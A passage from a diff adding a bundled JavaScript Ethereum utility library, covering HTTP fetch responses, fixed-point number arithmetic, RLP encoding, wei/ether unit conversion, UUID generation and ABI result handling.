Creates a function that will fetch IPFS (unvalidated) from + * a custom gateway baseUrl. + * + * The default IPFS gateway used internally is + * ``"https:/\/gateway.ipfs.io/ipfs/"``. + */ + static createIpfsGatewayFunc(baseUrl) { + return getIpfsGatewayFunc(baseUrl); + } +} +/** + * The response for a FetchRequest. + */ +class FetchResponse { + #statusCode; + #statusMessage; + #headers; + #body; + #request; + #error; + toString() { + return ``; + } + /** + * The response status code. + */ + get statusCode() { return this.#statusCode; } + /** + * The response status message. + */ + get statusMessage() { return this.#statusMessage; } + /** + * The response headers. All keys are lower-case. + */ + get headers() { return Object.assign({}, this.#headers); } + /** + * The response body, or ``null`` if there was no body. + */ + get body() { + return (this.#body == null) ? null : new Uint8Array(this.#body); + } + /** + * The response body as a UTF-8 encoded string, or the empty + * string (i.e. ``""``) if there was no body. + * + * An error is thrown if the body is invalid UTF-8 data. + */ + get bodyText() { + try { + return (this.#body == null) ? "" : toUtf8String(this.#body); + } + catch (error) { + assert(false, "response body is not valid UTF-8 data", "UNSUPPORTED_OPERATION", { + operation: "bodyText", info: { response: this } + }); + } + } + /** + * The response body, decoded as JSON. + * + * An error is thrown if the body is invalid JSON-encoded data + * or if there was no body. + */ + get bodyJson() { + try { + return JSON.parse(this.bodyText); + } + catch (error) { + assert(false, "response body is not valid JSON", "UNSUPPORTED_OPERATION", { + operation: "bodyJson", info: { response: this } + }); + } + } + [Symbol.iterator]() { + const headers = this.headers; + const keys = Object.keys(headers); + let index = 0; + return { + next: () => { + if (index < keys.length) { + const key = keys[index++]; + return { + value: [key, headers[key]], done: false + }; + } + return { value: undefined, done: true }; + } + }; + } + constructor(statusCode, statusMessage, headers, body, request) { + this.#statusCode = statusCode; + this.#statusMessage = statusMessage; + this.#headers = Object.keys(headers).reduce((accum, k) => { + accum[k.toLowerCase()] = String(headers[k]); + return accum; + }, {}); + this.#body = ((body == null) ? null : new Uint8Array(body)); + this.#request = (request || null); + this.#error = { message: "" }; + } + /** + * Return a Response with matching headers and body, but with + * an error status code (i.e. 599) and %%message%% with an + * optional %%error%%. + */ + makeServerError(message, error) { + let statusMessage; + if (!message) { + message = `${this.statusCode} ${this.statusMessage}`; + statusMessage = `CLIENT ESCALATED SERVER ERROR (${message})`; + } + else { + statusMessage = `CLIENT ESCALATED SERVER ERROR (${this.statusCode} ${this.statusMessage}; ${message})`; + } + const response = new FetchResponse(599, statusMessage, this.headers, this.body, this.#request || undefined); + response.#error = { message, error }; + return response; + } + /** + * If called within a [request.processFunc](FetchRequest-processFunc) + * call, causes the request to retry as if throttled for %%stall%% + * milliseconds. + */ + throwThrottleError(message, stall) { + if (stall == null) { + stall = -1; + } + else { + assertArgument(Number.isInteger(stall) && stall >= 0, "invalid stall timeout", "stall", stall); + } + const error = new Error(message || "throttling requests"); + defineProperties(error, { stall, throttle: true }); + throw error; + } + /** + * Get the header value for %%key%%, ignoring case. + */ + getHeader(key) { + return this.headers[key.toLowerCase()]; + } + /** + * Returns true if the response has a body. + */ + hasBody() { + return (this.#body != null); + } + /** + * The request made for this response. + */ + get request() { return this.#request; } + /** + * Returns true if this response was a success statusCode. + */ + ok() { + return (this.#error.message === "" && this.statusCode >= 200 && this.statusCode < 300); + } + /** + * Throws a ``SERVER_ERROR`` if this response is not ok. + */ + assertOk() { + if (this.ok()) { + return; + } + let { message, error } = this.#error; + if (message === "") { + message = `server response ${this.statusCode} ${this.statusMessage}`; + } + let requestUrl = null; + if (this.request) { + requestUrl = this.request.url; + } + let responseBody = null; + try { + if (this.#body) { + responseBody = toUtf8String(this.#body); + } + } + catch (e) { } + assert(false, message, "SERVER_ERROR", { + request: (this.request || "unknown request"), response: this, error, + info: { + requestUrl, responseBody, + responseStatus: `${this.statusCode} ${this.statusMessage}` + } + }); + } +} +function getTime$2() { return (new Date()).getTime(); } +function unpercent(value) { + return toUtf8Bytes(value.replace(/%([0-9a-f][0-9a-f])/gi, (all, code) => { + return String.fromCharCode(parseInt(code, 16)); + })); +} +function wait(delay) { + return new Promise((resolve) => setTimeout(resolve, delay)); +} + +/** + * The **FixedNumber** class permits using values with decimal places, + * using fixed-pont math. + * + * Fixed-point math is still based on integers under-the-hood, but uses an + * internal offset to store fractional components below, and each operation + * corrects for this after each operation. + * + * @_section: api/utils/fixed-point-math:Fixed-Point Maths [about-fixed-point-math] + */ +const BN_N1 = BigInt(-1); +const BN_0$8 = BigInt(0); +const BN_1$4 = BigInt(1); +const BN_5 = BigInt(5); +const _guard$5 = {}; +// Constant to pull zeros from for multipliers +let Zeros$1 = "0000"; +while (Zeros$1.length < 80) { + Zeros$1 += Zeros$1; +} +// Returns a string "1" followed by decimal "0"s +function getTens(decimals) { + let result = Zeros$1; + while (result.length < decimals) { + result += result; + } + return BigInt("1" + result.substring(0, decimals)); +} +function checkValue(val, format, safeOp) { + const width = BigInt(format.width); + if (format.signed) { + const limit = (BN_1$4 << (width - BN_1$4)); + assert(safeOp == null || (val >= -limit && val < limit), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + if (val > BN_0$8) { + val = fromTwos(mask(val, width), width); + } + else { + val = -fromTwos(mask(-val, width), width); + } + } + else { + const limit = (BN_1$4 << width); + assert(safeOp == null || (val >= 0 && val < limit), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + val = (((val % limit) + limit) % limit) & (limit - BN_1$4); + } + return val; +} +function getFormat(value) { + if (typeof (value) === "number") { + value = `fixed128x${value}`; + } + let signed = true; + let width = 128; + let decimals = 18; + if (typeof (value) === "string") { + // Parse the format string + if (value === "fixed") ; + else if (value === "ufixed") { + signed = false; + } + else { + const match = value.match(/^(u?)fixed([0-9]+)x([0-9]+)$/); + assertArgument(match, "invalid fixed format", "format", value); + signed = (match[1] !== "u"); + width = parseInt(match[2]); + decimals = parseInt(match[3]); + } + } + else if (value) { + // Extract the values from the object + const v = value; + const check = (key, type, defaultValue) => { + if (v[key] == null) { + return defaultValue; + } + assertArgument(typeof (v[key]) === type, "invalid fixed format (" + key + " not " + type + ")", "format." + key, v[key]); + return v[key]; + }; + signed = check("signed", "boolean", signed); + width = check("width", "number", width); + decimals = check("decimals", "number", decimals); + } + assertArgument((width % 8) === 0, "invalid FixedNumber width (not byte aligned)", "format.width", width); + assertArgument(decimals <= 80, "invalid FixedNumber decimals (too large)", "format.decimals", decimals); + const name = (signed ? "" : "u") + "fixed" + String(width) + "x" + String(decimals); + return { signed, width, decimals, name }; +} +function toString(val, decimals) { + let negative = ""; + if (val < BN_0$8) { + negative = "-"; + val *= BN_N1; + } + let str = val.toString(); + // No decimal point for whole values + if (decimals === 0) { + return (negative + str); + } + // Pad out to the whole component (including a whole digit) + while (str.length <= decimals) { + str = Zeros$1 + str; + } + // Insert the decimal point + const index = str.length - decimals; + str = str.substring(0, index) + "." + str.substring(index); + // Trim the whole component (leaving at least one 0) + while (str[0] === "0" && str[1] !== ".") { + str = str.substring(1); + } + // Trim the decimal component (leaving at least one 0) + while (str[str.length - 1] === "0" && str[str.length - 2] !== ".") { + str = str.substring(0, str.length - 1); + } + return (negative + str); +} +/** + * A FixedNumber represents a value over its [[FixedFormat]] + * arithmetic field. + * + * A FixedNumber can be used to perform math, losslessly, on + * values which have decmial places. + * + * A FixedNumber has a fixed bit-width to store values in, and stores all + * values internally by multiplying the value by 10 raised to the power of + * %%decimals%%. + * + * If operations are performed that cause a value to grow too high (close to + * positive infinity) or too low (close to negative infinity), the value + * is said to //overflow//. + * + * For example, an 8-bit signed value, with 0 decimals may only be within + * the range ``-128`` to ``127``; so ``-128 - 1`` will overflow and become + * ``127``. Likewise, ``127 + 1`` will overflow and become ``-127``. + * + * Many operation have a normal and //unsafe// variant. The normal variant + * will throw a [[NumericFaultError]] on any overflow, while the //unsafe// + * variant will silently allow overflow, corrupting its value value. + * + * If operations are performed that cause a value to become too small + * (close to zero), the value loses precison and is said to //underflow//. + * + * For example, a value with 1 decimal place may store a number as small + * as ``0.1``, but the value of ``0.1 / 2`` is ``0.05``, which cannot fit + * into 1 decimal place, so underflow occurs which means precision is lost + * and the value becomes ``0``. + * + * Some operations have a normal and //signalling// variant. The normal + * variant will silently ignore underflow, while the //signalling// variant + * will thow a [[NumericFaultError]] on underflow. + */ +class FixedNumber { + /** + * The specific fixed-point arithmetic field for this value. + */ + format; + #format; + // The actual value (accounting for decimals) + #val; + // A base-10 value to multiple values by to maintain the magnitude + #tens; + /** + * This is a property so console.log shows a human-meaningful value. + * + * @private + */ + _value; + // Use this when changing this file to get some typing info, + // but then switch to any to mask the internal type + //constructor(guard: any, value: bigint, format: _FixedFormat) { + /** + * @private + */ + constructor(guard, value, format) { + assertPrivate(guard, _guard$5, "FixedNumber"); + this.#val = value; + this.#format = format; + const _value = toString(value, format.decimals); + defineProperties(this, { format: format.name, _value }); + this.#tens = getTens(format.decimals); + } + /** + * If true, negative values are permitted, otherwise only + * positive values and zero are allowed. + */ + get signed() { return this.#format.signed; } + /** + * The number of bits available to store the value. + */ + get width() { return this.#format.width; } + /** + * The number of decimal places in the fixed-point arithment field. + */ + get decimals() { return this.#format.decimals; } + /** + * The value as an integer, based on the smallest unit the + * [[decimals]] allow. + */ + get value() { return this.#val; } + #checkFormat(other) { + assertArgument(this.format === other.format, "incompatible format; use fixedNumber.toFormat", "other", other); + } + #checkValue(val, safeOp) { + /* + const width = BigInt(this.width); + if (this.signed) { + const limit = (BN_1 << (width - BN_1)); + assert(safeOp == null || (val >= -limit && val < limit), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + + if (val > BN_0) { + val = fromTwos(mask(val, width), width); + } else { + val = -fromTwos(mask(-val, width), width); + } + + } else { + const masked = mask(val, width); + assert(safeOp == null || (val >= 0 && val === masked), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + val = masked; + } + */ + val = checkValue(val, this.#format, safeOp); + return new FixedNumber(_guard$5, val, this.#format); + } + #add(o, safeOp) { + this.#checkFormat(o); + return this.#checkValue(this.#val + o.#val, safeOp); + } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% added + * to %%other%%, ignoring overflow. + */ + addUnsafe(other) { return this.#add(other); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% added + * to %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + add(other) { return this.#add(other, "add"); } + #sub(o, safeOp) { + this.#checkFormat(o); + return this.#checkValue(this.#val - o.#val, safeOp); + } + /** + * Returns a new [[FixedNumber]] with the result of %%other%% subtracted + * from %%this%%, ignoring overflow. + */ + subUnsafe(other) { return this.#sub(other); } + /** + * Returns a new [[FixedNumber]] with the result of %%other%% subtracted + * from %%this%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + sub(other) { return this.#sub(other, "sub"); } + #mul(o, safeOp) { + this.#checkFormat(o); + return this.#checkValue((this.#val * o.#val) / this.#tens, safeOp); + } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%, ignoring overflow and underflow (precision loss). + */ + mulUnsafe(other) { return this.#mul(other); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + mul(other) { return this.#mul(other, "mul"); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs or if underflow (precision loss) occurs. + */ + mulSignal(other) { + this.#checkFormat(other); + const value = this.#val * other.#val; + assert((value % this.#tens) === BN_0$8, "precision lost during signalling mul", "NUMERIC_FAULT", { + operation: "mulSignal", fault: "underflow", value: this + }); + return this.#checkValue(value / this.#tens, "mulSignal"); + } + #div(o, safeOp) { + assert(o.#val !== BN_0$8, "division by zero", "NUMERIC_FAULT", { + operation: "div", fault: "divide-by-zero", value: this + }); + this.#checkFormat(o); + return this.#checkValue((this.#val * this.#tens) / o.#val, safeOp); + } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%, ignoring underflow (precision loss). A + * [[NumericFaultError]] is thrown if overflow occurs. + */ + divUnsafe(other) { return this.#div(other); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%, ignoring underflow (precision loss). A + * [[NumericFaultError]] is thrown if overflow occurs. + */ + div(other) { return this.#div(other, "div"); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%. A [[NumericFaultError]] is thrown if underflow + * (precision loss) occurs. + */ + divSignal(other) { + assert(other.#val !== BN_0$8, "division by zero", "NUMERIC_FAULT", { + operation: "div", fault: "divide-by-zero", value: this + }); + this.#checkFormat(other); + const value = (this.#val * this.#tens); + assert((value % other.#val) === BN_0$8, "precision lost during signalling div", "NUMERIC_FAULT", { + operation: "divSignal", fault: "underflow", value: this + }); + return this.#checkValue(value / other.#val, "divSignal"); + } + /** + * Returns a comparison result between %%this%% and %%other%%. + * + * This is suitable for use in sorting, where ``-1`` implies %%this%% + * is smaller, ``1`` implies %%this%% is larger and ``0`` implies + * both are equal. + */ + cmp(other) { + let a = this.value, b = other.value; + // Coerce a and b to the same magnitude + const delta = this.decimals - other.decimals; + if (delta > 0) { + b *= getTens(delta); + } + else if (delta < 0) { + a *= getTens(-delta); + } + // Comnpare + if (a < b) { + return -1; + } + if (a > b) { + return 1; + } + return 0; + } + /** + * Returns true if %%other%% is equal to %%this%%. + */ + eq(other) { return this.cmp(other) === 0; } + /** + * Returns true if %%other%% is less than to %%this%%. + */ + lt(other) { return this.cmp(other) < 0; } + /** + * Returns true if %%other%% is less than or equal to %%this%%. + */ + lte(other) { return this.cmp(other) <= 0; } + /** + * Returns true if %%other%% is greater than to %%this%%. + */ + gt(other) { return this.cmp(other) > 0; } + /** + * Returns true if %%other%% is greater than or equal to %%this%%. + */ + gte(other) { return this.cmp(other) >= 0; } + /** + * Returns a new [[FixedNumber]] which is the largest **integer** + * that is less than or equal to %%this%%. + * + * The decimal component of the result will always be ``0``. + */ + floor() { + let val = this.#val; + if (this.#val < BN_0$8) { + val -= this.#tens - BN_1$4; + } + val = (this.#val / this.#tens) * this.#tens; + return this.#checkValue(val, "floor"); + } + /** + * Returns a new [[FixedNumber]] which is the smallest **integer** + * that is greater than or equal to %%this%%. + * + * The decimal component of the result will always be ``0``. + */ + ceiling() { + let val = this.#val; + if (this.#val > BN_0$8) { + val += this.#tens - BN_1$4; + } + val = (this.#val / this.#tens) * this.#tens; + return this.#checkValue(val, "ceiling"); + } + /** + * Returns a new [[FixedNumber]] with the decimal component + * rounded up on ties at %%decimals%% places. + */ + round(decimals) { + if (decimals == null) { + decimals = 0; + } + // Not enough precision to not already be rounded + if (decimals >= this.decimals) { + return this; + } + const delta = this.decimals - decimals; + const bump = BN_5 * getTens(delta - 1); + let value = this.value + bump; + const tens = getTens(delta); + value = (value / tens) * tens; + checkValue(value, this.#format, "round"); + return new FixedNumber(_guard$5, value, this.#format); + } + /** + * Returns true if %%this%% is equal to ``0``. + */ + isZero() { return (this.#val === BN_0$8); } + /** + * Returns true if %%this%% is less than ``0``. + */ + isNegative() { return (this.#val < BN_0$8); } + /** + * Returns the string representation of %%this%%. + */ + toString() { return this._value; } + /** + * Returns a float approximation. + * + * Due to IEEE 754 precission (or lack thereof), this function + * can only return an approximation and most values will contain + * rounding errors. + */ + toUnsafeFloat() { return parseFloat(this.toString()); } + /** + * Return a new [[FixedNumber]] with the same value but has had + * its field set to %%format%%. + * + * This will throw if the value cannot fit into %%format%%. + */ + toFormat(format) { + return FixedNumber.fromString(this.toString(), format); + } + /** + * Creates a new [[FixedNumber]] for %%value%% divided by + * %%decimal%% places with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% (once adjusted + * for %%decimals%%) cannot fit in %%format%%, either due to overflow + * or underflow (precision loss). + */ + static fromValue(_value, _decimals, _format) { + const decimals = (_decimals == null) ? 0 : getNumber(_decimals); + const format = getFormat(_format); + let value = getBigInt(_value, "value"); + const delta = decimals - format.decimals; + if (delta > 0) { + const tens = getTens(delta); + assert((value % tens) === BN_0$8, "value loses precision for format", "NUMERIC_FAULT", { + operation: "fromValue", fault: "underflow", value: _value + }); + value /= tens; + } + else if (delta < 0) { + value *= getTens(-delta); + } + checkValue(value, format, "fromValue"); + return new FixedNumber(_guard$5, value, format); + } + /** + * Creates a new [[FixedNumber]] for %%value%% with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% cannot fit + * in %%format%%, either due to overflow or underflow (precision loss). + */ + static fromString(_value, _format) { + const match = _value.match(/^(-?)([0-9]*)\.?([0-9]*)$/); + assertArgument(match && (match[2].length + match[3].length) > 0, "invalid FixedNumber string value", "value", _value); + const format = getFormat(_format); + let whole = (match[2] || "0"), decimal = (match[3] || ""); + // Pad out the decimals + while (decimal.length < format.decimals) { + decimal += Zeros$1; + } + // Check precision is safe + assert(decimal.substring(format.decimals).match(/^0*$/), "too many decimals for format", "NUMERIC_FAULT", { + operation: "fromString", fault: "underflow", value: _value + }); + // Remove extra padding + decimal = decimal.substring(0, format.decimals); + const value = BigInt(match[1] + whole + decimal); + checkValue(value, format, "fromString"); + return new FixedNumber(_guard$5, value, format); + } + /** + * Creates a new [[FixedNumber]] with the big-endian representation + * %%value%% with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% cannot fit + * in %%format%% due to overflow. + */ + static fromBytes(_value, _format) { + let value = toBigInt(getBytes(_value, "value")); + const format = getFormat(_format); + if (format.signed) { + value = fromTwos(value, format.width); + } + checkValue(value, format, "fromBytes"); + return new FixedNumber(_guard$5, value, format); + } +} +//const f1 = FixedNumber.fromString("12.56", "fixed16x2"); +//const f2 = FixedNumber.fromString("0.3", "fixed16x2"); +//console.log(f1.divSignal(f2)); +//const BUMP = FixedNumber.from("0.5"); + +//See: https://github.com/ethereum/wiki/wiki/RLP +function hexlifyByte(value) { + let result = value.toString(16); + while (result.length < 2) { + result = "0" + result; + } + return "0x" + result; +} +function unarrayifyInteger(data, offset, length) { + let result = 0; + for (let i = 0; i < length; i++) { + result = (result * 256) + data[offset + i]; + } + return result; +} +function _decodeChildren(data, offset, childOffset, length) { + const result = []; + while (childOffset < offset + 1 + length) { + const decoded = _decode(data, childOffset); + result.push(decoded.result); + childOffset += decoded.consumed; + assert(childOffset <= offset + 1 + length, "child data too short", "BUFFER_OVERRUN", { + buffer: data, length, offset + }); + } + return { consumed: (1 + length), result: result }; +} +// returns { consumed: number, result: Object } +function _decode(data, offset) { + assert(data.length !== 0, "data too short", "BUFFER_OVERRUN", { + buffer: data, length: 0, offset: 1 + }); + const checkOffset = (offset) => { + assert(offset <= data.length, "data short segment too short", "BUFFER_OVERRUN", { + buffer: data, length: data.length, offset + }); + }; + // Array with extra length prefix + if (data[offset] >= 0xf8) { + const lengthLength = data[offset] - 0xf7; + checkOffset(offset + 1 + lengthLength); + const length = unarrayifyInteger(data, offset + 1, lengthLength); + checkOffset(offset + 1 + lengthLength + length); + return _decodeChildren(data, offset, offset + 1 + lengthLength, lengthLength + length); + } + else if (data[offset] >= 0xc0) { + const length = data[offset] - 0xc0; + checkOffset(offset + 1 + length); + return _decodeChildren(data, offset, offset + 1, length); + } + else if (data[offset] >= 0xb8) { + const lengthLength = data[offset] - 0xb7; + checkOffset(offset + 1 + lengthLength); + const length = unarrayifyInteger(data, offset + 1, lengthLength); + checkOffset(offset + 1 + lengthLength + length); + const result = hexlify(data.slice(offset + 1 + lengthLength, offset + 1 + lengthLength + length)); + return { consumed: (1 + lengthLength + length), result: result }; + } + else if (data[offset] >= 0x80) { + const length = data[offset] - 0x80; + checkOffset(offset + 1 + length); + const result = hexlify(data.slice(offset + 1, offset + 1 + length)); + return { consumed: (1 + length), result: result }; + } + return { consumed: 1, result: hexlifyByte(data[offset]) }; +} +/** + * Decodes %%data%% into the structured data it represents. + */ +function decodeRlp(_data) { + const data = getBytes(_data, "data"); + const decoded = _decode(data, 0); + assertArgument(decoded.consumed === data.length, "unexpected junk after rlp payload", "data", _data); + return decoded.result; +} + +//See: https://github.com/ethereum/wiki/wiki/RLP +function arrayifyInteger(value) { + const result = []; + while (value) { + result.unshift(value & 0xff); + value >>= 8; + } + return result; +} +function _encode(object) { + if (Array.isArray(object)) { + let payload = []; + object.forEach(function (child) { + payload = payload.concat(_encode(child)); + }); + if (payload.length <= 55) { + payload.unshift(0xc0 + payload.length); + return payload; + } + const length = arrayifyInteger(payload.length); + length.unshift(0xf7 + length.length); + return length.concat(payload); + } + const data = Array.prototype.slice.call(getBytes(object, "object")); + if (data.length === 1 && data[0] <= 0x7f) { + return data; + } + else if (data.length <= 55) { + data.unshift(0x80 + data.length); + return data; + } + const length = arrayifyInteger(data.length); + length.unshift(0xb7 + length.length); + return length.concat(data); +} +const nibbles = "0123456789abcdef"; +/** + * Encodes %%object%% as an RLP-encoded [[DataHexString]]. + */ +function encodeRlp(object) { + let result = "0x"; + for (const v of _encode(object)) { + result += nibbles[v >> 4]; + result += nibbles[v & 0xf]; + } + return result; +} + +/** + * Most interactions with Ethereum requires integer values, which use + * the smallest magnitude unit. + * + * For example, imagine dealing with dollars and cents. Since dollars + * are divisible, non-integer values are possible, such as ``$10.77``. + * By using the smallest indivisible unit (i.e. cents), the value can + * be kept as the integer ``1077``. + * + * When receiving decimal input from the user (as a decimal string), + * the value should be converted to an integer and when showing a user + * a value, the integer value should be converted to a decimal string. + * + * This creates a clear distinction, between values to be used by code + * (integers) and values used for display logic to users (decimals). + * + * The native unit in Ethereum, //ether// is divisible to 18 decimal places, + * where each individual unit is called a //wei//. + * + * @_subsection api/utils:Unit Conversion [about-units] + */ +const names = [ + "wei", + "kwei", + "mwei", + "gwei", + "szabo", + "finney", + "ether", +]; +/** + * Converts %%value%% into a //decimal string//, assuming %%unit%% decimal + * places. The %%unit%% may be the number of decimal places or the name of + * a unit (e.g. ``"gwei"`` for 9 decimal places). + * + */ +function formatUnits(value, unit) { + let decimals = 18; + if (typeof (unit) === "string") { + const index = names.indexOf(unit); + assertArgument(index >= 0, "invalid unit", "unit", unit); + decimals = 3 * index; + } + else if (unit != null) { + decimals = getNumber(unit, "unit"); + } + return FixedNumber.fromValue(value, decimals, { decimals, width: 512 }).toString(); +} +/** + * Converts the //decimal string// %%value%% to a BigInt, assuming + * %%unit%% decimal places. The %%unit%% may the number of decimal places + * or the name of a unit (e.g. ``"gwei"`` for 9 decimal places). + */ +function parseUnits$1(value, unit) { + assertArgument(typeof (value) === "string", "value must be a string", "value", value); + let decimals = 18; + if (typeof (unit) === "string") { + const index = names.indexOf(unit); + assertArgument(index >= 0, "invalid unit", "unit", unit); + decimals = 3 * index; + } + else if (unit != null) { + decimals = getNumber(unit, "unit"); + } + return FixedNumber.fromString(value, { decimals, width: 512 }).value; +} +/** + * Converts %%value%% into a //decimal string// using 18 decimal places. + */ +function formatEther(wei) { + return formatUnits(wei, 18); +} +/** + * Converts the //decimal string// %%ether%% to a BigInt, using 18 + * decimal places. + */ +function parseEther(ether) { + return parseUnits$1(ether, 18); +} + +/** + * Explain UUID and link to RFC here. + * + * @_subsection: api/utils:UUID [about-uuid] + */ +/** + * Returns the version 4 [[link-uuid]] for the %%randomBytes%%. + * + * @see: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4) + */ +function uuidV4(randomBytes) { + const bytes = getBytes(randomBytes, "randomBytes"); + // Section: 4.1.3: + // - time_hi_and_version[12:16] = 0b0100 + bytes[6] = (bytes[6] & 0x0f) | 0x40; + // Section 4.4 + // - clock_seq_hi_and_reserved[6] = 0b0 + // - clock_seq_hi_and_reserved[7] = 0b1 + bytes[8] = (bytes[8] & 0x3f) | 0x80; + const value = hexlify(bytes); + return [ + value.substring(2, 10), + value.substring(10, 14), + value.substring(14, 18), + value.substring(18, 22), + value.substring(22, 34), + ].join("-"); +} + +/** + * @_ignore: + */ +const WordSize = 32; +const Padding = new Uint8Array(WordSize); +// Properties used to immediate pass through to the underlying object +// - `then` is used to detect if an object is a Promise for await +const passProperties$1 = ["then"]; +const _guard$4 = {}; +const resultNames = new WeakMap(); +function getNames(result) { + return resultNames.get(result); +} +function setNames(result, names) { + resultNames.set(result, names); +} +function throwError(name, error) { + const wrapped = new Error(`deferred error during ABI decoding triggered accessing ${name}`); + wrapped.error = error; + throw wrapped; +} +function toObject(names, items, deep) { + if (names.indexOf(null) >= 0) { + return items.map((item, index) => { + if (item instanceof Result) { + return toObject(getNames(item), item, deep); + } + return item; + }); + } + return names.reduce((accum, name, index) => { + let item = items.getValue(name); + if (!(name in accum)) { + if (deep && item instanceof Result) { + item = toObject(getNames(item), item, deep); + } + accum[name] = item; + } + return accum; + }, {}); +} +/** + * A [[Result]] is a sub-class of Array, which allows accessing any + * of its values either positionally by its index or, if keys are + * provided by its name. + * + * @_docloc: api/abi + */ +class Result extends Array { + // No longer used; but cannot be removed as it will remove the + // #private field from the .d.ts which may break backwards + // compatibility + #names; + /** + * @private + */ + constructor(...args) { + // To properly sub-class Array so the other built-in + // functions work, the constructor has to behave fairly + // well. So, in the event we are created via fromItems() + // we build the read-only Result object we want, but on + // any other input, we use the default constructor + // constructor(guard: any, items: Array, keys?: Array); + const guard = args[0]; + let items = args[1]; + let names = (args[2] || []).slice(); + let wrap = true; + if (guard !== _guard$4) { + items = args; + names = []; + wrap = false; + } + // Can't just pass in ...items since an array of length 1 + // is a special case in the super. + super(items.length); + items.forEach((item, index) => { this[index] = item; }); + // Find all unique keys + const nameCounts = names.reduce((accum, name) => { + if (typeof (name) === "string") { + accum.set(name, (accum.get(name) || 0) + 1); + } + return accum; + }, (new Map())); + // Remove any key thats not unique + setNames(this, Object.freeze(items.map((item, index) => { + const name = names[index]; + if (name != null && nameCounts.get(name) === 1) { + return name; + } + return null; + }))); + // Dummy operations to prevent TypeScript from complaining + this.#names = []; + if (this.#names == null) { + void (this.#names); + } + if (!wrap) { + return; + } + // A wrapped Result is immutable + Object.freeze(this); + // Proxy indices and names so we can trap deferred errors + const proxy = new Proxy(this, { + get: (target, prop, receiver) => { + if (typeof (prop) === "string") { + // Index accessor + if (prop.match(/^[0-9]+$/)) { + const index = getNumber(prop, "%index"); + if (index < 0 || index >= this.length) { + throw new RangeError("out of result range"); + } + const item = target[index]; + if (item instanceof Error) { + throwError(`index ${index}`, item); + } + return item; + } + // Pass important checks (like `then` for Promise) through + if (passProperties$1.indexOf(prop) >= 0) { + return Reflect.get(target, prop, receiver); + } + const value = target[prop]; + if (value instanceof Function) { + // Make sure functions work with private variables + // See: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy#no_private_property_forwarding + return function (...args) { + return value.apply((this === receiver) ? target : this, args); + }; + } + else if (!(prop in target)) { + // Possible name accessor + return target.getValue.apply((this === receiver) ? target : this, [prop]); + } + } + return Reflect.get(target, prop, receiver); + } + }); + setNames(proxy, getNames(this)); + return proxy; + } + /** + * Returns the Result as a normal Array. If %%deep%%, any children + * which are Result objects are also converted to a normal Array. + * + * This will throw if there are any outstanding deferred + * errors. + */ + toArray(deep) { + const result = []; + this.forEach((item, index) => { + if (item instanceof Error) { + throwError(`index ${index}`, item); + } + if (deep && item instanceof Result) { + item = item.toArray(deep); + } + result.push(item); + }); + return result; + } + /** + * Returns the Result as an Object with each name-value pair. If + * %%deep%%, any children which are Result objects are also + * converted to an Object. + * + * This will throw if any value is unnamed, or if there are + * any outstanding deferred errors. + */ + toObject(deep) { + const names = getNames(this); + return names.reduce((accum, name, index) => { + assert(name != null, `value at index ${index} unnamed`, "UNSUPPORTED_OPERATION", { + operation: "toObject()" + }); + return toObject(names, this, deep); + }, {}); + } + /** + * @_ignore + */ + slice(start, end) { + if (start == null) { + start = 0; + } + if (start < 0) { + start += this.length; + if (start < 0) { + start = 0; + } + } + if (end == null) { + end = this.length; + } + if (end < 0) { + end += this.length; + if (end < 0) { + end = 0; + } + } + if (end > this.length) { + end = this.length; + } + const _names = getNames(this); + const result = [], names = []; + for (let i = start; i < end; i++) { + result.push(this[i]); + names.push(_names[i]); + } + return new Result(_guard$4, result, names); + } + /** + * @_ignore + */ + filter(callback, thisArg) { + const _names = getNames(this); + const result = [], names = []; + for (let i = 0; i < this.length; i++) { + const item = this[i]; + if (item instanceof Error) { + throwError(`index ${i}`, item); + } + if (callback.call(thisArg, item, i, this)) { + result.push(item); + names.push(_names[i]); + } + } + return new Result(_guard$4, result, names); + } + /** + * @_ignore + */ + map(callback, thisArg) { + const result = []; + for (let i = 0; i < this.length; i++) { + const item = this[i]; + if (item instanceof Error) { + throwError(`index ${i}`, item); + } + result.push(callback.call(thisArg, item, i, this)); + } + return result; + } + /** + * Returns the value for %%name%%. + * + * Since it is possible to have a key whose name conflicts with + * a method on a [[Result]] or its superclass Array, or any + * JavaScript keyword, this ensures all named values are still + * accessible by name. + */ + getValue(name) { + const index = getNames(this).indexOf(name); + if (index === -1) { + return undefined; + } + const value = this[index]; + if (value instanceof Error) { + throwError(`property ${JSON.stringify(name)}`, value.error); + } + return value; + } + /** + * Creates a new [[Result]] for %%items%% with each entry + * also accessible by its corresponding name in %%keys%%. + */ + static fromItems(items, keys) { + return new Result(_guard$4, items, keys); + } +} +/** + * Returns all errors found in a [[Result]]. + * + * Since certain errors encountered when creating a [[Result]] do + * not impact the ability to continue parsing data, they are + * deferred until they are actually accessed. Hence a faulty string + * in an Event that is never used does not impact the program flow. + * + * However, sometimes it may be useful to access, identify or + * validate correctness of a [[Result]]. + * + * @_docloc api/abi + */ +function checkResultErrors(result) { + // Find the first error (if any) + const errors = []; + const checkErrors = function (path, object) { + if (!Array.isArray(object)) { + return; + } + for (let key in object) { + const childPath = path.slice(); + childPath.push(key); + try { + checkErrors(childPath, object[key]); + } + catch (error) { + errors.push({ path: childPath, 